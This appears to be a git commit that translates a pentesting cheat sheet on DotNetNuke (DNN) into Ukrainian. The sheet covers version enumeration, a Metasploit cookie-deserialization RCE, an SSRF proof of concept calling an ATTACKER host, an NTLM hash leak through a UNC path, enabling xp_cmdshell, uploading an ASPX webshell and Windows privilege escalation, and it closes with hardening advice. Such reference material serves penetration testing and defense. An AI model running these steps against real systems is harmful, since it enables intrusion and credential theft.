Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d

This commit is contained in:
Translator 2025-07-19 08:09:42 +00:00
parent fb037839ae
commit 0e09b73206

View File

@ -4,37 +4,92 @@
## DotNetNuke (DNN)
Якщо ви увійдете як **адміністратор** в DNN, легко отримати RCE.
Якщо ви входите як **адміністратор** в DNN, легко отримати **RCE**, однак за останні кілька років було опубліковано ряд *неавтентифікованих* та *пост-автентифікаційних* технік. Наступна шпаргалка збирає найбільш корисні примітиви для як наступальних, так і захисних робіт.
## RCE
---
## Перерахунок версій та середовища
### Через SQL
* Перевірте заголовок HTTP-відповіді *X-DNN* зазвичай він розкриває точну версію платформи.
* Майстер установки розкриває версію в `/Install/Install.aspx?mode=install` (доступно на дуже старих установках).
* `/API/PersonaBar/GetStatus` (9.x) повертає JSON-об'єкт, що містить `"dnnVersion"` для користувачів з низькими привілеями.
* Типові куки, які ви побачите на живій інстанції:
* `.DOTNETNUKE` квиток аутентифікації форм ASP.NET.
* `DNNPersonalization` містить XML/серіалізовані дані профілю користувача (старі версії див. RCE нижче).
SQL консолі доступна на сторінці **`Налаштування`**, де ви можете увімкнути **`xp_cmdshell`** та **виконувати команди операційної системи**.
---
## Неавтентифіковане використання
Використовуйте ці рядки, щоб увімкнути **`xp_cmdshell`**:
```sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
### 1. Десеріалізація куків RCE (CVE-2017-9822 та подальші)
*Постраждалі версії ≤ 9.3.0-RC*
`DNNPersonalization` десеріалізується при кожному запиті, коли вбудований обробник 404 увімкнено. Отже, підготовлений XML може призвести до довільних ланцюгів гаджетів та виконання коду.
```
І натисніть **"Run Script"**, щоб виконати ці SQL речення.
Потім використовуйте щось подібне до наступного, щоб виконати команди ОС:
```sql
xp_cmdshell 'whoami'
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST <attacker_ip>
msf> run
```
### Via ASP webshell
Модуль автоматично обирає правильний шлях для патчених, але все ще вразливих версій (CVE-2018-15811/15812/18325/18326). Експлуатація працює **без аутентифікації** на 7.x9.1.x і з *перевіреним* обліковим записом з низькими привілеями на 9.2.x+.
В `Settings -> Security -> More -> More Security Settings` ви можете **додати нові дозволені розширення** в `Allowable File Extensions`, а потім натиснути кнопку `Save`.
### 2. Server-Side Request Forgery (CVE-2025-32372)
*Постраждалі версії < 9.13.8 Патч випущено в квітні 2025 року*
Додайте **`asp`** або **`aspx`**, а потім у **`/admin/file-management`** завантажте **asp webshell** під назвою `shell.asp`, наприклад.
Обхід старого виправлення `DnnImageHandler` дозволяє зловмиснику примусити сервер виконувати **произвольні GET запити** (напівсліпий SSRF). Практичні наслідки:
Потім отримайте доступ до **`/Portals/0/shell.asp`**, щоб отримати доступ до вашого webshell.
* Внутрішнє сканування портів / виявлення метаданих у хмарних розгортаннях.
* Доступ до хостів, які інакше заблоковані брандмауером від Інтернету.
### Privilege Escalation
Доказ концепції (замініть `TARGET` & `ATTACKER`):
```
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
```
Запит викликається у фоновому режимі; слідкуйте за вашим слухачем для зворотних викликів.
Ви можете **підвищити привілеї** за допомогою **Potatoes** або **PrintSpoofer**, наприклад.
### 3. Витік NTLM Hash через UNC перенаправлення (CVE-2025-52488)
*Постраждалі версії 6.0.0 9.x (< 10.0.1)*
Спеціально підготовлений контент може змусити DNN спробувати отримати ресурс, використовуючи **UNC шлях** такий як `\\attacker\share\img.png`. Windows з радістю виконає NTLM переговори, витікаючи хеші облікових записів сервера до атакуючого. Оновіть до **10.0.1** або вимкніть вихідний SMB на брандмауері.
### 4. Обхід IP фільтрації (CVE-2025-52487)
Якщо адміністратори покладаються на *Host/IP Filters* для захисту адміністративного порталу, майте на увазі, що версії до **10.0.1** можуть бути обійдені шляхом маніпуляції `X-Forwarded-For` у сценарії зворотного проксі.
---
## Пост-аутентифікація до RCE
### Через SQL консоль
У **`Settings → SQL`** вбудоване вікно запитів дозволяє виконання проти бази даних сайту. На Microsoft SQL Server ви можете увімкнути **`xp_cmdshell`** і запускати команди:
```sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';
```
### Завантаження веб-шелу через ASPX
1. Перейдіть до **`Налаштування → Безпека → Більше → Додаткові налаштування безпеки`**.
2. Додайте `aspx` (або `asp`) до **Дозволені розширення файлів** та **Зберегти**.
3. Перейдіть до **`/admin/file-management`** та завантажте `shell.aspx`.
4. Викличте його за адресою **`/Portals/0/shell.aspx`**.
---
## Підвищення привілеїв на Windows
Якщо виконання коду досягнуто як **IIS AppPool\<Site>**, застосовуються звичайні техніки підвищення привілеїв Windows. Якщо система вразлива, ви можете скористатися:
* **PrintSpoofer** / **SpoolFool** для зловживання *SeImpersonatePrivilege*.
* **Juicy/Sharp Potatoes** для обходу *Службових облікових записів*.
---
## Рекомендації щодо зміцнення (Блакитна команда)
* **Оновіть** до принаймні **9.13.9** (виправляє обхід SSRF) або, бажано, **10.0.1** (проблеми з IP-фільтрацією та NTLM).
* Видаліть залишкові **`InstallWizard.aspx*`** файли після установки.
* Вимкніть вихідний SMB (порти 445/139).
* Застосуйте суворі *Фільтри хостів* на крайовому проксі, а не в DNN.
* Заблокуйте доступ до `/API/RemoteContentProxy`, якщо не використовується.
## Посилання
* Документація модуля Metasploit `dnn_cookie_deserialization_rce` практичні деталі неавтентифікованого RCE (GitHub).
* Повідомлення про безпеку GitHub GHSA-3f7v-qx94-666m інформація про обхід SSRF 2025 року та патчі.
{{#include ../../banners/hacktricks-training.md}}